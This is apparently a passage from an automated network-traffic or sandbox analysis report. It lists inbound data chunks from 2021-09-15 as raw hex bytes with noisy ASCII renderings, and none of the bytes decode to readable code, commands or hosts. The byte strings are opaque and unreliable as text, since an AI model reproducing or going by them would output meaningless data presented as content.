Data Ascii: Q558CKxP[Q 71ladDqezRk\$Aegank15hW~C"ii),DizVO!%8UiA; mIG66<?P@Nw4IRoQg@4s92Dw (Y)P\$Uuf
2021-09-15 10:18:25 UTC	52	IN	Data Raw: ef 0a 7b 27 ae c9 66 30 5b a6 4d 97 c6 fb 39 b1 a8 89 46 28 b6 bb 39 a4 3b c4 4c 8c 15 ba 76 43 83 f5 32 99 5c 37 26 a9 47 f4 7d d0 77 a6 44 69 7e 9f 54 8a 59 e4 7e a6 fe 27 91 ec 52 f9 b9 19 fb b1 76 54 7b 94 fd cb 9d 6d 44 d0 d7 63 57 53 28 2e 1d 9e 64 97 df da 00 37 0a e5 3e c9 37 ce dd 05 fc 7d 2a d8 60 c5 1e 9b 3d f2 34 1c 9e a3 43 1e ab 7b ad 1d 13 7b 77 9e a1 9c bb d8 53 d4 9e f6 73 a7 35 3f 86 7d d6 63 39 81 2d 03 80 95 45 f6 c6 c0 f4 27 78 68 fa ac 75 4c cd 20 02 2c 09 4e 26 17 75 58 b0 cb 46 d3 4f fd 10 2f 05 d5 48 54 ba 26 82 aa 9d 5f 64 5a d5 84 c0 97 52 ee a5 ac 1f 9a fc 1f a8 ea de 5c 21 75 b6 e7 8b 81 1b 08 34 9e aa 4b 3d 96 50 4c e7 12 56 4b f9 4a 73 96 57 0c e1 1e 23 c5 ec 4d db 6d 8f 17 29 90 ed 61 09 e0 1b 80 8d 61 b8 97 f9 8a af 24 3d Data Ascii: {f0[M9F(9:LvC2\7&GjwDi~TY~`RvT mdcWS(.d7>7)*=-4C{[wsS5?>c9-E`xhuL ,N&uXFO/HT&_dZR\!u4K= PLVKJsW#mM)aa\$=

Timestamp	kBytes transferred	Direction	Data
2021-09-15 10:18:25 UTC	54	IN	Data Raw: 25 80 fd 33 04 9a 92 84 74 22 b8 5d 29 03 31 dd 12 b4 eb 75 3a 91 78 bf d5 6b 90 b8 6b c5 1e c7 d3 d1 50 34 40 77 99 90 10 5a 42 42 b4 c1 6a 2d 1e fb c8 dd 81 38 55 52 39 81 3d 05 7e 0d 97 e2 44 10 c0 d5 cb ee aa ea 41 7f 03 d6 84 aa 07 9e 06 cb bb 12 75 ef a7 47 02 6e 9f 2c d0 be f0 b1 69 5c 69 d2 72 ae f7 00 b8 fd 55 90 db eb 4e 7f 27 87 09 9d a7 97 49 11 ab b6 ce cb 8c 93 80 06 e8 99 61 71 b3 20 c3 28 11 d9 d3 0f 18 5a ca a5 c0 8b 82 78 79 d8 73 05 1c 92 25 d4 7e 63 d0 cf 12 ec dd c8 3a 9a e6 d4 37 41 2b 97 fd 04 b0 92 72 bb 0f 3c 24 21 ad 1a 2a 9b 3f 25 92 34 0e 98 4a d3 3e c9 5b 5f 9a ec 87 25 ac c9 4c ca ad 4e a0 25 ed 84 12 e2 6c 52 d1 74 32 73 64 f4 3f 84 cf 09 b0 e5 60 13 2b 40 04 f9 6e 34 8d aa 85 66 71 33 ce 8f 47 0d 99 35 7d 1c 06 27 80 4d 62 Data Ascii: %3t")1u:xxkP4@wZBBj-8UR9=-DAuGn,ñirUN'Iaq (Zxys%-c:7A+r<f!*%?4G>[_%LN%lRt2sd?'+@n4fq3G5Y}Mb
2021-09-15 10:18:25 UTC	55	IN	Data Raw: 96 43 6d 9a 9e 65 93 54 36 52 94 59 63 c7 2d 33 9c 1a 7c 80 84 96 0f 6a a2 3d b4 f9 0f c3 69 f2 1f 40 4c d4 e6 8a 56 7e ae d5 55 5e 32 bb 49 62 22 1a da b3 4e 58 65 64 e7 47 c0 fc 93 96 5a e9 61 f8 a8 37 45 fc 49 7f 24 99 93 2d bb ff ee 37 e4 e0 1b d5 f9 77 1e e5 fa 86 a4 e9 1e 41 89 7d c8 5e 83 2b 0c 8e a2 57 85 07 14 7b c5 ee c2 3c 55 fe 70 df 8e 3e 38 dd 22 79 12 68 85 8a 1c 56 53 e6 8b 3b 7a 42 a0 7a 76 d8 06 f9 f6 ee 0b b6 5e 87 6f 77 57 b5 a6 f0 73 d8 73 05 1c 92 25 d4 e4 3a f0 96 64 fe c2 1b aa 11 65 7d 32 2d 26 23 fa 04 bd 90 38 ee 39 1c 55 49 31 1f b9 63 cd 10 ef eb 72 dd e6 51 2a b7 f9 3a c6 85 74 7e 6f ab 88 cd 01 91 a1 40 03 8a eb 89 d4 a8 ee 78 d4 ba ce dc 18 6d ed 9e f8 23 f6 be 99 26 f6 64 ae 52 9b 2f df e5 37 6c 32 e9 26 c9 2e 31 ff 9e cb b4 19 Data Ascii: CmeT6RYc-3j=i@LV-U^2Ib"NXedGZa7El\$-7wA}^+W{<Up>8"yhVS;ZBzv^owWm:de}2-YUI1crQ*:t-o@xm #&dR/7l2&.1
2021-09-15 10:18:25 UTC	56	IN	Data Raw: 89 d9 90 7a af 40 7a ac ce 05 2c fa 3b fa b1 38 6c ac 3a 24 83 c1 80 0b f2 02 1c 69 72 ad 01 19 ae f1 fd a1 1f 40 ff 56 d9 0a 79 51 29 50 f3 28 b1 a3 49 f1 17 26 c0 e2 34 89 2c 84 70 97 8c b1 14 a0 f8 6f 09 2e 30 9d 1f ec 27 de 41 cf 98 bb c5 ba 13 21 43 f7 21 50 88 a7 7b bb 03 53 19 a2 0b 92 5e 97 da 76 67 d5 f5 87 6f b7 57 b5 a6 f0 73 d8 73 05 1c 92 25 d4 40 57 f3 e1 7e be a4 62 d8 e9 ea bc 44 d9 b2 70 a9 86 fb 48 25 77 e6 2b 74 70 42 9d 23 48 a0 5c 5f 59 5e ab bd 89 e9 04 aa 5f 89 30 cc d2 0d d3 9b 9e 46 c2 ec 13 32 72 a7 1d ed c4 40 10 72 a7 db 3c 15 9e 70 b2 ed 2d 5d 6b 7b c3 9c a8 e8 25 28 65 5f 5d 9a 3f 4c 5f 16 2d ed 21 75 3a 31 d5 90 a5 43 24 d0 93 2a 00 4e 85 82 9d f9 9c 3e 09 05 d0 96 c5 4b 9f fa e1 e7 07 63 6f e9 63 01 c4 4e 1b b0 02 a8 90 37 07 5d Data Ascii: z@z.;8l:\$ir@VyQ)P(l&4.po.0'A!C!P{S^vgGS16olP@W~bDpH%w+tp#B_H_Y^_0F2r@r=p~k{f%(_e_)L_-!u: 1C\$*N>KcocN7]
2021-09-15 10:18:25 UTC	57	IN	Data Raw: ca ef b9 9f 13 fb 06 14 d7 03 38 64 f1 c8 23 e1 86 3b 79 3d 85 00 c3 06 48 89 d0 f8 4a 15 7d 08 1e 16 87 e2 7d 3e 89 d4 c4 ec 00 0e 74 8c e5 be 34 1e 44 e5 f5 0b ef 90 7e 86 ec 70 6f d1 db e3 50 1b 6a d6 63 53 c0 69 64 e7 77 f8 c2 70 a6 e1 b0 da f8 a8 37 5d 97 e3 6d 24 99 93 21 6e d0 70 07 3d c3 60 f0 47 58 f1 39 69 14 75 fe 90 41 89 65 e0 60 60 0d 8c 63 6e fa 5e a1 fb 8f 6a 76 13 1b e7 fe 70 c7 ea 3e 38 c5 3e 79 12 60 83 04 5e 47 c3 bc b7 d9 67 e4 ac 1e af 75 21 e5 9c 9a ee fb 33 52 c9 be 7d 07 9b f2 67 dc f0 3f e2 21 ec 93 ea cf 0e 9f ca 27 8f 1d bf 60 3c 2a 2a cf e0 ae 8b 9c f7 c5 5e 3f 1e 5c a1 12 b5 90 ee 5d f2 23 7d d1 22 72 65 aa 3f 23 c6 85 64 22 51 48 af 27 6d 56 36 b8 0f 46 cd 47 ee 78 c9 b8 ed 59 df 2a 14 85 fe bd db 66 fb 7a 8c c9 3a 91 16 83 Data Ascii: 8d#;y=HJ}>4D~poPjcSidwp7]m\$lnp='GX9iuAe``cn^jvp>8>y^`Ggu!3R!g?!'::~*?){#}~re?#d"QH7f6FGxY^fz:
2021-09-15 10:18:25 UTC	59	IN	Data Raw: 86 f4 94 4f 75 84 a7 c0 ac 98 af 4d 50 dc 4f f9 b5 b1 0a 16 9a 1a 7a 50 ca 47 db 5b 59 cc 6d 38 3c 59 f6 af 67 35 04 95 92 84 b4 36 1e c8 a2 3e d2 72 76 c2 51 64 3a 91 23 bf d5 b3 98 1e fe 5e 1e c7 0b 25 f7 a1 d9 73 99 dd 10 5a 82 be 78 fe f3 c2 d2 82 86 48 0d a1 ef df b9 6e 21 4c 69 94 e1 c9 35 dc a4 76 6e 7b b4 e6 bb 5c 32 0b f2 30 a6 0b 0b 24 af 5b 34 76 d1 51 d2 65 4e 0b 73 81 13 57 37 c9 f9 4b 9d 62 84 4c 2d 41 cc 47 f4 57 70 9c ca 81 7f 27 88 a9 aa f7 a7 c0 74 e6 b2 70 58 70 9e 23 48 73 b3 31 fd cb 3c 65 3c 03 2b 55 53 d3 e5 1b 8b 97 a5 e1 67 73 96 ad 1b 3b ba 22 c2 b9 90 d9 88 81 0d 3b e6 d4 e7 f5 b2 e1 77 88 bc 6b 59 ea d2 86 b3 b8 db 39 7f 46 8f b7 0b 42 13 10 74 3c 32 52 45 93 a5 e4 b1 fc 47 be f7 d7 df 6d 91 f8 68 3e 09 77 0b b8 b4 a6 9f 8c 9b Data Ascii: OuMPOzPG[Ym8<Yg56>rvQd:##%sZxHn!Li5vn{20\$[4vQeNsW7KbL-AGWp'tpXp#Hs1<e+c+USGs;";wkY9FBt<2 REGmh>w
2021-09-15 10:18:25 UTC	60	IN	Data Raw: 9a 5f 2d 1e ae c4 b8 12 b9 f0 a5 62 50 20 bf 83 4f e5 13 87 7c 25 53 d7 3b 60 04 38 5b cd 2b 0b 5d 57 14 d2 03 66 24 46 34 4b 9f cd 1d 69 42 60 b8 27 1a 7b c1 14 23 03 e5 c8 0b 23 65 61 3a ef 51 f0 bf f9 d7 e7 e4 33 4d f4 57 cb 9f 6f d1 d3 b3 6e f8 19 14 8c 9f 47 97 64 e7 7f 80 c2 70 96 e5 e5 a5 cb c9 18 f5 fc 49 68 24 99 93 37 bb ff f1 37 e4 e0 05 d5 f9 6a 1e e5 fa 9c a4 e9 24 41 89 7d ce 35 29 3e e3 40 1b c9 3f 8a 80 ab ea 35 c2 3c 7a fe 70 1f 44 a7 4e 77 9e 75 c7 5b f0 69 cf fc 3c 43 b9 3e 5b 4e 4f 99 a3 62 61 5e c4 f0 20 59 a2 e4 57 01 dd a6 98 13 e3 e7 ba ef 09 32 92 80 32 a4 67 f9 10 f4 ba 88 13 c7 f4 1f 10 20 2c eb b7 09 4e 5c 8f 10 9d 62 42 c3 b9 e6 54 66 f2 23 49 d1 22 b2 cf 0d aa 9d f8 66 4e 8c 80 a7 93 ae 98 e7 9a 69 e0 73 69 d2 4d 79 c9 ab d4 Data Ascii: _bP O]%;S;[B+]Wf\$F4KiB`{##ea:Q3MWonGdplh\$77j\$A)5}>@?5<zpDNwu[j<C>[NOba^ YW22g ,NlbBTf# l"fnisiMy
2021-09-15 10:18:25 UTC	61	IN	Data Raw: 72 74 4a a2 a6 e7 72 63 de 9f 11 d6 b7 7c d6 b7 36 2b 91 a7 e0 62 18 02 0f ec f3 af 27 d0 49 09 a6 25 95 52 94 e0 0c 10 7e 53 fb 52 5d ee 33 7a ba 3c d2 53 46 d3 5f 5d 34 b4 52 6f 45 05 6a 9e 0d d0 1b f7 d1 be 18 07 03 56 54 19 d6 31 8a 00 f1 87 3b 9e cd d4 0a d9 d7 78 6d f5 17 0b 31 5c 0e 88 49 5b 07 90 e1 9a 2a aa 5e df b4 5c d5 1d 94 e1 24 4c c0 df 79 c8 dd 6b 7a c7 be 71 8e ee cf 0e 9c 85 ae 32 57 23 24 44 f5 47 cf 12 45 e6 b4 db e2 ba ce 50 5d 78 5b ba 3e 45 58 9e 75 fe df 3d 1e 7f 81 2e 4a e3 06 a6 57 0f 6f 95 f9 9b 88 aa 50 48 d6 b1 cd d3 e0 54 55 3c c3 b9 42 11 a0 42 8e 67 35 3c ed 50 78 5a a4 c6 9d 47 b5 e6 ae 63 10 bb 41 98 23 74 d6 92 67 09 21 77 2f 8f 42 55 63 3d 56 b2 32 d8 08 1e 3f 3e b6 0b d7 4b 2c 12 e3 e0 64 4a 07 a5 43 54 b1 ea c5 Data Ascii: rtJrc[6+b!%R-SR]3z<SF_L4RoEjVT1:xm1l f[^]\$_Lykzq2W#SDGEPj)x1X=EXu=.JWoPHTU<BBG5<PxZGcA#tg !w/BUC=V2?>K,dJCT
2021-09-15 10:18:25 UTC	63	IN	Data Raw: cc bd eb 80 1b 88 ea 3f b8 57 96 05 2a be b2 ad 55 e0 74 70 ea 17 14 01 f3 5f c9 72 7c 71 f6 22 26 ae 48 bc df 16 be c3 3b 81 47 ff 1a fd e2 a2 17 02 cf 0a ec 33 b8 0b 9b d3 20 d2 ba 14 92 04 d7 92 46 2b a4 ec 5c 0c 28 8c 46 50 3d 78 c6 3a 82 60 2f 92 f5 f8 c0 6d 8e 11 c9 21 79 69 09 32 9e ec 3d 39 be f9 ea fe f2 78 02 6e fd 1d ec 03 9a 03 6b ac fb de 8d 2a 60 13 64 1c 7a d7 b7 e3 fd 94 29 2c a5 01 f9 a3 3e 78 5f 7f f1 38 8f 08 ea 57 0b c1 51 83 5d 02 c5 9f ee b6 2f 2f c2 80 10 f0 57 5e f0 01 e2 5d 58 59 d8 f6 1f 9b 57 78 bb fd 33 ba fd e1 bc 61 18 c6 1c 95 9c c9 c9 ec 3c 2c 3f c3 57 39 fe 22 da 04 49 b1 41 73 35 aa 9e 3b 28 02 ce 0a 9f 99 99 9c 12 13 c7 6b 71 68 42 57 2e d3 48 1d da 96 7a b6 04 a1 46 85 73 aa 22 6e 30 6b b7 08 53 59 bb 55 31 48 f9 0f ea Data Ascii: ?W*Utp_r q"&H;G3 F+ (FP=x:~/mlyi2=9xnk*dz),>x_8WQ]/W^}XYWx3a;?W9^IAS5;(kqhBW.HzFs"n0kSYU1H
2021-09-15 10:18:25 UTC	64	IN	Data Raw: 3e 75 4e d4 77 f2 5a 73 73 37 ff a1 45 7c ad 91 a5 72 2b 42 79 ab 8a d0 c9 aa 19 41 ef e0 2b 5d 4a b3 06 55 8f f1 8a f8 54 18 19 cf 50 b2 5b 46 65 fb 5a 2a 5d f8 51 43 10 7e ff ae d6 d0 e6 33 6d 56 be dc f9 3a e8 03 02 8a b5 0d ce f9 6b ef b5 bb 0e 08 8b 55 d6 e5 23 fb a9 ee d5 6b 9e 08 d5 f4 87 b1 15 e1 10 d7 63 d0 76 6e 02 86 51 5c 7d 67 f3 5b 02 82 50 c3 b8 34 3c 75 de b4 4b 7d 9e 90 57 af 54 7a c8 76 6e 0f 93 70 a2 3a d1 8f b9 30 6c fc 96 e4 32 bf eb eb d1 f5 d2 08 7c 60 44 18 af ea ca 7f 06 5c eb 89 ce a7 b8 be 59 18 61 56 ee ea 7a e9 7b 91 77 27 dd 13 32 c0 08 dd 94 12 ce eb 1c 20 48 5c 21 a9 3d f1 ab fc e3 6e d7 fa 53 d3 ee 99 68 a1 d3 9b 42 64 ef 02 bc a2 b0 63 ae 1d 5c e6 ea 01 39 dd 65 00 a1 e5 4d 74 8d b8 12 65 7e 63 bf bd 67 47 24 6c 36 40 91 Data Ascii: >uNwZss7E[+ByA+]JUTP[FeZ*]QC~3mV:kU#kcvnQ}g[p4uK]WTZvnp:0l2 D\YAvZ[w2 H!~=nShBdc!9eM te~cgG\$!6@

Timestamp	kBytes transferred	Direction	Data
2021-09-15 10:18:25 UTC	65	IN	Data Raw: 09 19 71 6b 82 e3 b2 13 4e bb 00 ff 11 16 b1 cc e5 37 8b bb d3 3b 33 18 9a 45 fb 81 ac c0 65 dd e9 14 18 ce b4 68 eb 66 e0 30 5b 13 c0 da 05 ec f4 a9 e2 f0 78 5a e6 ab ca a1 36 3b 9d 26 c0 2e 56 b3 78 f0 81 ff 41 8f a6 1f 94 dc 2d 45 dc a7 10 1c 15 c3 80 0f 7b 0b eb 69 8c ae 45 e3 87 c7 af 7c 7f f2 2b 55 48 04 69 98 2a 6d 55 4e fc 5d 9f 1b 1b f6 8e bb 94 82 5e bb b6 87 62 fc d7 5b 7d f7 b3 83 eb 1b 31 8c 56 5b 23 3b 0a 9b 11 58 f7 6b 43 ae 29 81 b9 c5 54 bb 60 92 40 8d f9 5b 48 27 c7 bd 22 f8 16 a7 6a 4d 6e 2b 71 42 52 0c 7f ef be ce 09 98 3e 1f 38 a6 4e 77 c6 57 10 71 be 69 bd fd 3c 43 c5 04 6a ab 01 99 d3 63 61 5e 5d ee 92 6b ec e4 39 00 dd a6 e4 19 ca 0a f4 ef 5d 33 92 80 e6 ea 96 9f 5e f4 e0 89 13 c7 ac 75 04 cd 62 eb ef 08 4e 5c 06 32 57 cc 0c c3 93 Data Ascii: qkN7;3Eeh0[xZ6;&.VxA-E{[E]+UH*iMUN]^b[]1V[#;XkC)T"[@H"]m+n+qBR>8NwWq<Cjca^]k9j3^ubNl2W
2021-09-15 10:18:25 UTC	66	IN	Data Raw: 24 e5 31 0d 91 fc c6 4b 58 73 64 77 3c 19 90 a8 14 91 85 89 ac 31 48 90 3c 34 07 5d dd ab 1d 72 09 e2 ce 7f 99 35 d6 2b 1b 5a c2 3e 1a e9 b3 82 fc 28 d5 7a 32 d5 66 50 82 2f 01 5a a6 09 21 6d 8d 56 72 50 8d 8e d6 8e 2e 26 3c c8 83 d3 2e ae 09 ac a2 bd d1 7c 96 d1 15 3c 7d 74 1d a5 7a 36 d3 e1 43 e8 83 25 37 3a 5a e6 6e 1f e7 f9 e3 8a 09 ba 3d 87 d4 44 1b e4 49 e0 ac 5b fb 7c 49 9d 2b e8 7a 26 43 ad f9 94 2a d6 c8 64 d9 07 92 b9 4f 5d 9d c2 ca 62 24 69 ba 33 d4 d6 a1 e1 b2 9c 1e fc 81 32 53 af ae ce e5 7a 8a bb d3 b4 71 dd 81 47 fb c6 24 44 a1 8a ab d5 0f cc b4 97 a3 0d 20 bf 19 de d3 d8 05 13 37 6e 8a 67 3a 93 e9 a9 ca 7a 0e b7 ea 95 82 fb 5d b1 78 0b 7f 28 9d 28 e4 ce 93 de 2d bb e0 37 24 ff 57 1e 83 0d 7b f5 7b 69 8c 69 07 3a 78 c6 af cb 5c b9 fa da 0a e1 Data Ascii: \$1KXsdw<1H<4rj5+Z>{(z2fP/Z!mVrP.&<. <)zt6C%7:Zn=DI[l+z&C*d0b]s32SzqG\$DA 7ng:z)x{(-7\$Wf{[i;i:\x
2021-09-15 10:18:25 UTC	67	IN	Data Raw: 77 ad 6d 82 57 f5 b2 21 a3 57 f7 cb e2 22 81 33 c8 cb 4d 21 ee 18 7e 6e 8f d5 c0 db 4f d8 45 dd 3f f9 89 e3 b3 7d c3 cd ba ad d7 2a c8 2a cf a0 9e f6 4e c7 f1 33 e5 78 e3 f4 fe e5 1c 3d 0e 83 b8 c2 a6 13 e6 df c6 2f 01 63 04 2b db 2a 59 29 36 25 cb 27 15 eb 23 da 3c 55 2b f6 ab 9d 69 cf f2 1c fa 18 89 57 ff 6e bb 0c a3 fa 20 90 da 95 91 72 48 d1 4c c5 9e f6 4b 9b 60 79 e5 dd 3e 65 34 e2 a1 a7 ae 23 95 8d 65 23 8e 3b b9 ce 5a ca 62 26 57 c7 0f d5 9d c2 ca 62 24 69 ba 33 d4 d6 a1 f7 97 4b 68 81 09 e7 de 87 c1 df 8f 8a 73 ee aa a8 60 17 eb 5c f5 78 d6 fc 3e b9 91 41 30 4a d7 20 5c e2 a0 9b 52 dc 7c bc 37 44 1b 3d 19 7d bc 07 63 73 d7 95 f2 8e 87 de 3d a2 df 5c 3a 98 79 02 10 16 50 4c 17 a7 4f 4e d5 9e a9 a6 54 46 d3 67 eb 0b 80 50 67 99 88 07 de 19 5b 1f c1 6a 51 Data Ascii: wmW!W"3M!~noE?}*N3x=c(+*Y)6%#<U+iWn rHLK'y>e4#e#;Zb&W3fMKhs'\x>A0J \R 7D= cs=:yPLONTF gPgJQ
2021-09-15 10:18:25 UTC	68	IN	Data Raw: 4a 48 0f 7f 78 d1 4c 81 26 22 b6 5c d7 df 52 93 be e3 01 0a a3 a3 01 f8 e4 37 9b 5e 54 04 63 1b 22 03 ed 41 42 bb fd 21 36 c7 34 a1 f4 05 4d 3e 8d 31 3e 9d 0b a1 95 a8 67 ba 23 c6 ee 9d fa 1a f6 a1 20 82 12 05 d4 37 af 2b 38 df cb 1d d2 d6 10 c0 f0 08 50 d8 de be 8e 6c e2 24 61 94 e7 78 14 c5 ee 9d 61 94 06 96 5b 6d 6f 9b 20 0c 21 94 48 37 5b 2c 8d a9 e6 fb e6 e4 ca 04 48 76 cf ce 69 fd dd 7d 44 e4 6f f9 32 32 5b 28 f6 a1 0a d3 92 af 02 d2 c0 5b 3d 2a d6 c3 9c 80 5e d0 c3 74 26 c8 3d 82 e1 0b 25 79 33 af 5e 49 a5 96 48 0c fa 4e 9e 16 10 31 29 01 d9 ec b5 fa fc 75 17 ee fb 81 76 cf b1 a5 a8 c5 0f cc 23 f7 6e 27 e0 2f 11 8a 6a cf a9 45 80 1a 45 64 a3 5a d6 22 5a 6d b7 d0 2c d7 46 ab f5 28 0e 07 96 97 33 10 9e f2 1c a4 93 ba 1f dc 74 6d 86 b9 83 c1 4d Data Ascii: JHxL&"kR7^Tc"ABl64M>1>g# 7+mPl\$axa[mg !H7[.Hvi]Do22[([=*^t&=%y3^IHN1)uv#n'/jEEDZ"Zm,F(3tmM
2021-09-15 10:18:25 UTC	70	IN	Data Raw: b7 fd df 01 e1 55 62 f3 66 21 80 09 75 97 50 31 f0 68 f3 65 03 15 e9 82 12 63 9e ed 6d e8 b7 2b 6f 74 67 ad 71 9a 0d bb 53 fa d4 b5 95 91 75 90 d5 96 f9 d5 4b c9 51 3c 8f e4 4c be df 45 a4 f5 30 d7 09 e0 13 2c 0a 6f 88 0b 76 4e cd b3 9b 8d 5f 26 af 6f 2e 76 ad d0 4d 33 ca bc 26 b3 d6 d0 02 d6 30 d5 b0 ab bc cb b7 42 fd 83 22 90 0f 27 0c f7 58 8b d7 91 52 ff 6e eb ac 21 22 9a 19 57 bd 0c 1c c2 d1 f3 00 e6 a9 2a 68 40 ca 5e 36 52 55 5c ce ca a3 f9 9c c7 c4 9a dc ed fe c3 83 58 93 e7 b6 a7 16 3f 5e 62 38 78 9a 45 c1 a9 98 dd 21 a1 3d 58 7d ae f8 4c 88 54 ec 1d 55 c9 4d 02 f1 85 31 89 1b 3c 8b 49 c4 ec 77 8a 44 98 3d 8c 79 c0 7e 9f 5e d8 3f 39 06 6f d1 01 6b 9b c4 d0 6d 06 96 9a dc 79 2b 59 fb c4 c4 56 91 ae 25 91 05 48 14 c0 a8 df e2 79 6b f8 18 30 a4 e9 25 Data Ascii: UbfluP1hecm+otgqSuKQ<LE0,ovN_&o.vM3&0B""XRnl"W'h@^6RUlX?^b8xE!>XJLTUM1<lwD=y~^? 9okmy+YV%Hyk0%
2021-09-15 10:18:25 UTC	71	IN	Data Raw: 56 05 de 2b 8b 21 ad 22 16 9c 3f 2a 92 34 36 a2 4d d3 3e f9 75 0a d3 e9 07 13 43 0d dd 4e a9 4e c2 13 e9 9c 14 ee e4 7f df d2 e9 06 8c 11 72 c9 7a 3d 84 08 0c 03 04 4c e5 66 5e 42 b5 4c b4 80 33 14 47 22 34 d8 0c a4 90 65 1a 88 5d dd 9f 53 b6 4e 14 78 85 1c 7c 15 88 22 38 7c 51 fb 6b 70 16 8e 10 e4 79 c9 24 c3 2e e8 60 fe d8 df 54 23 2e eb b9 a1 69 67 93 d8 e2 cb 0d cc e8 b7 36 a3 b6 c5 46 34 90 ce 89 13 79 fa 8a 41 fb 93 0a e1 b6 78 96 55 65 1e a2 fe e3 bc 67 e2 2e 24 bd ed ee 04 6a 52 12 31 44 40 e5 6a d5 29 2e ed 9c f9 bd 34 3f 5d 9d 9e 02 1d 11 4d 64 33 2e 2a 59 1b bb a0 ff 16 b4 d6 1e 14 c5 4c fb 75 ec b9 71 a3 ca 2e 50 be 73 25 44 17 1a 44 92 a7 be 0e 63 bc 36 08 d3 91 96 2c 70 ad ec 4a 65 3a e9 bf 37 c3 71 35 5e 81 8d dc ae 4e ab 4a db c4 f0 81 28 Data Ascii: V+!?"*46M<uCNnrz=Lf^BL3G"4e]SNx["8]Qkpy\$. T#.ig6F4yAxUeg.\$jRlD@.j?).j]Md3.*YLuq.Ps%DDc6,p Je:7q5^NJ{
2021-09-15 10:18:25 UTC	72	IN	Data Raw: b5 7f f4 49 e4 ba ba 8d 8e b6 8b 73 de ff 23 0c ea ef c1 5b f9 98 75 3b ca 58 47 63 4c e0 a5 3b 0e 7e 75 a5 af 5b fc 7d d4 a8 e6 12 ea 59 dc 12 f7 a1 4c 6c f4 c1 c5 99 ba 79 eb be e5 bd 4f c8 71 ea e0 53 98 d5 c5 fb 86 e2 d8 57 f4 57 00 7c 2e 61 f8 7f 52 82 19 d4 a9 aa ba c3 88 77 92 a8 81 50 16 ce 2a 9f ba 92 e5 ae 77 62 d9 e3 5e 86 2f 21 32 13 15 3a b2 8d aa a7 87 64 f5 dc ba 4d f0 be 22 7a fe e3 4b 35 76 33 37 95 fb 24 91 0a d6 18 13 56 4b 84 8a a2 63 bf 8b 43 50 06 4d 4a e7 3c b1 22 bf 97 06 01 f1 00 20 c3 1e 3b 7a 3e 08 22 fd 35 57 6d 7c ae e1 fc 27 49 d6 4f 98 aa b6 67 c6 b4 1d 09 9e 6c 35 90 3e dc 93 08 b8 44 a5 cd 48 ed 13 a1 39 3b 4d b6 3a 01 b4 42 b2 15 5c f6 c1 e2 a0 9b 52 35 90 ee 61 ec 04 65 a9 da eb 59 09 83 4a f3 d8 2b 59 f3 e0 fa b5 b3 34 Data Ascii: Is#[u;XGcL;~u]YllyOqSWW].aRwP*wb^/!2:dM"zK5v37\$VKcCPMjC"<,"z">5Wm]!gl5>DH9;M:BlR5aeYJ+Y4
2021-09-15 10:18:25 UTC	73	IN	Data Raw: 03 b5 7e d1 20 01 df c5 bf 3a e5 28 78 01 95 32 43 59 ea 12 bc 27 05 7c 39 7f 86 b9 7a 34 db c2 1b 84 d3 3e d1 77 0a d3 e1 37 ce cb 40 09 a8 46 82 5d 9b ed 84 3e db 3d 8f bc e4 9f 8c 9b 11 72 e1 34 07 8d e7 d0 86 8e 9c f2 df 5e 42 85 70 8b 63 50 a6 a8 ee 93 5c 00 43 8b 32 39 f7 78 5d 70 9f 01 95 3c 68 fb 85 0a db 8e 22 38 0c 52 cd 6f a8 b6 17 66 56 dd 47 80 a0 29 71 6a 67 00 b2 83 23 aa bf 38 65 65 bd 0d 8c ed 62 52 0f bd 5a d5 4f 5f c9 a4 5f c8 97 7c 1f a3 e6 2e 4e 1c 65 94 96 0c 71 a8 f8 90 70 d4 44 e4 df 01 98 64 a1 52 7b 48 9d 1c 47 88 0d eb 2d 39 ec 94 29 1e 97 d6 78 10 94 bc e7 da 18 b2 d3 00 8a 78 0a cb 6e 2c 15 2b 5b 33 20 c5 e4 cb 37 f6 5f 0c b1 bb 5b 3e 04 5b 3b 49 5d f6 68 b6 86 08 dd c7 bf 7f 76 50 ae 91 c5 48 a4 ce 4a e0 bf e8 44 e5 2e 78 80 Data Ascii: ~:(x2CY 9z4>w7@F]>=r4^BpcPlC29x]p<h"8RoIVG)qjg#8eebRZO__].NeqpDdR{HG-9)xxn,+[3 7 _> :l JhvPHJD.x
2021-09-15 10:18:25 UTC	75	IN	Data Raw: 24 37 0d e6 c6 93 8e 27 2e 67 cf 9f 8a 0b cd e0 76 84 a5 4e d6 db d9 d4 f9 82 46 ea 44 b7 ed af b6 5f ab 40 32 cb 89 75 23 a0 f3 54 e2 5f ca 0a 4a 98 e7 7f 24 7d 86 56 59 bb 71 28 01 5a 2c b9 8b 81 bd 1d c2 ea ad f5 fb eb a5 4c 2b 99 50 05 76 19 d9 e2 ea 0d 80 97 f9 c3 43 8b 79 9a ab 42 97 dd 48 2a f6 1f 4a 19 d6 a1 74 d0 6c 40 64 2a 47 1d 7d 77 af 8e 7e 89 52 68 79 54 a7 95 d3 95 bc f8 df c7 9d 1f 51 ab 14 c8 b7 0d 81 84 a3 21 2f 13 ce 19 f1 11 1d 69 50 8a 6d b8 18 96 17 e6 94 5b 20 e1 5a e1 3a aa a2 69 0a 72 de 11 2b 94 5e 6e 03 b7 1a cd d6 fd 1e d9 66 a3 45 cd 4e 38 bf 5c a0 7e 9d 14 f4 74 a6 6a 4d 67 a4 3a c6 c2 c0 3c f6 2f 29 00 76 09 cb a9 21 bb 7c 0f e5 da 44 2f 93 48 6a 39 a1 39 31 cc aa 3c 6b f1 dc 86 56 84 ec e9 31 a5 f8 ad ae 7c d6 c8 ce 66 dd Data Ascii: \$7'.gvNFD_@2u#T_J\$]VYq(Z,L+PvCyBH*Jtl@d*G]w~RhyTQ /lPm Z:ir+^nfEN8~-tjM<:/v)!D/Hj991<kV1f

Timestamp	kBytes transferred	Direction	Data
2021-09-15 10:18:25 UTC	76	IN	Data Raw: 53 af 79 65 d7 31 7c 34 7d eb 76 2d 9d 0d db d7 bd b9 90 4e bb c1 67 56 ea 5d 31 d9 b2 ce bb 0b 85 48 57 04 48 29 93 14 cc 09 fd 3c aa 21 f4 3d 4b 46 41 e2 e1 73 6b 3a b2 1d c2 8a 35 19 56 73 13 cb 46 28 a3 94 7d 64 ee ee 21 e7 37 f8 19 6b c8 47 19 0a 17 eb 7a 3b ca 2c d2 1d 37 4f 86 a3 ed ea 75 8d 31 78 c6 7f 13 c2 1e 57 7e 81 fa 30 ee 4f 15 f8 2b 27 51 1f f4 50 76 f9 f6 a5 19 f7 a2 45 e6 d8 99 a9 db c5 ad e4 d6 d9 01 c1 6d c8 83 af ea f3 b3 20 95 b3 07 0a 24 da 69 52 a9 33 5e 13 5b c9 2c 3f 95 b8 2a 20 ec ed 28 e6 e4 f4 3d 38 a4 66 4e 75 ea 87 a8 7f 03 61 c1 64 ef 21 d7 